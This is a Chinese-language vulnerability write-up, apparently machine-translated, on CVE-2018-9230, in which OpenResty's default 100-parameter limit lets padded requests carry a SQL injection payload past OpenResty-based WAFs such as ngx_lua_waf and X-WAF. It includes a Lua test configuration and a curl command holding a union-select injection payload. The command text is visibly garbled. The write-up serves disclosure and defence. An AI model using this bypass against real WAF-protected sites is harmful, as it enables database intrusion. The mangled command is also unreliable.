​OpenResty(官网最新版)0x02漏洞详情(图)

优采云 发布时间: 2021-05-16 21:10

  ​OpenResty(官网最新版)0x02漏洞详情(图)

  原创文本首先在安全访客中发布,原创链接为:

  0x00前言

  OpenResty®是基于Nginx和Lua的高性能Web平台。它集成了许多复杂的Lua库,第三方模块及其大多数依赖项。

  OpenResty官方网站:

  漏洞编号:CVE​​-2018-9230

  漏洞介绍:OpenResty使用ngx.req.get_uri_args和ngx.req.get_post_args函数获取uri参数,而忽略了参数溢出,从而使远程攻击者可以绕过基于OpenResty的安全保护,从而影响许多开源WAF。

  受影响的版本:OpenResty的完整版本

  0x01环境设置

  操作环境:CentOS6

  源代码版本:(官方网站的最新版本)

  0x02漏洞详细信息A,获取uri参数

  首先查看官方API文档。有两种获取uri的方法:ngx.req.get_uri_args和ngx.req.get_post_args。两者之间的主要区别在于参数的来源不同。 ngx.req.get_uri_args获取uri请求参数。 ,Ngx.req.get_post_args从发布请求中获取内容。

  测试用例:

  server {

listen 80;

server_name localhost;

location /test {

content_by_lua_block {

local arg = ngx.req.get_uri_args()

for k,v in pairs(arg) do

ngx.say("[GET ] key:", k, " v:", v)

end

ngx.req.read_body()

local arg = ngx.req.get_post_args()

for k,v in pairs(arg) do

ngx.say("[POST] key:", k, " v:", v)

end

}

}

}

  输出测试:

  

  B,参数大小写

  提交相同的参数ID时,请按照接收参数的顺序进行排序,

  但是,当参数id更改为大写和小写时,如果将其转换为ID,iD,ID,则会将其视为不同的参数。

  

  这里介绍了参数用例,主要用于进一步构造和理解测试用例。

  C,参数溢出

  如果我们不填写参数会怎样?为此,我构建了一个便于显示的测试用例,a0-a9,10 * 10,总共100个参数,然后将SQL添加到第101个参数中注入有效负载,让我们看看会发生什么?

  测试用例:

  curl '12 7. 0. 0. 1 / test?a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a0 = 0&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a1 = 1&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a2 = 2&a3 = 3&a3 = 3&a3 = 3&a3 = 3&a = 3&3&3 = a = 3&a3 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a4 = 4&a5 = 5&a5 = 5&a5 = 5&a5 = 5&a5 = 5&a5 = 5&a5 = 5&a == 6&6&6&6 = 6&a = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a7 = 7&a8 = 8&a8 = 8&a8 = 8&a8 = 8 = 8&a8&a8 = 8&a8 = a = 9&a9 = 9&a9 = 9&9 = 9&a = 9&a = 9&a = 9&a9 = 9&id = 1联合从INFORMATION_SCHEMA.schemata'中选择1,schema_name,3

  输出结果:

  

  如您所见,使用ngx.req.get_uri_args获取uri请求参数,仅获得前100个参数,而未获得101st参数。继续构建POST请求并进行查看:

  

  使用ngx.req.get_post_args获得的发布请求内容也仅获得前100个参数。

  检查这两个功能的文档。出于安全原因,默认限制为100。它们接受一个可选参数,最多可以告诉它应解析多少个GET / POST参数。但是,只要攻击者构造的参数超过限制,就可以轻易绕过基于OpenResty的安全保护,并且会出现uri参数溢出的问题。

  总而言之,通过ngx.req.get_uri_args,ngx.req.get_post_args获取uri参数,当提交的参数超过限制(默认限制为100或可选参数限制)时,uri参数溢出,并且参数的值后无法获得限制数,无法对攻击者构造的参数进行有效的安全检测,从而绕过基于OpenResty的WEB安全保护。

  0x03受影响的产品

  基于OpenResty构造的Web安全保护,大多数使用ngx.req.get_uri_args,ngx.req.get_post_args获取uri参数,即默认限制为100,并且不考虑参数溢出。攻击者可以构建超出限制的内容。参数,轻松绕过安全保护。

  基于OpenResty的开源WAF(例如ngx_lua_waf,X-WAF,Openstar等)均受到影响。

  A,ngx_lua_waf

  ngx_lua_waf是基于lua-nginx-module(openresty)的Web应用程序防火墙

  github源代码:

  拦截效果图:

  

  使用参数溢出旁路:

  

  B,X-WAF

  X-WAF是适用于中小企业的云WAF系统,使中小企业可以非常方便地拥有自己的免费云WAF。

  官方网站:

  github源代码:

  拦截效果图:

  

  使用参数溢出旁路:

  

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线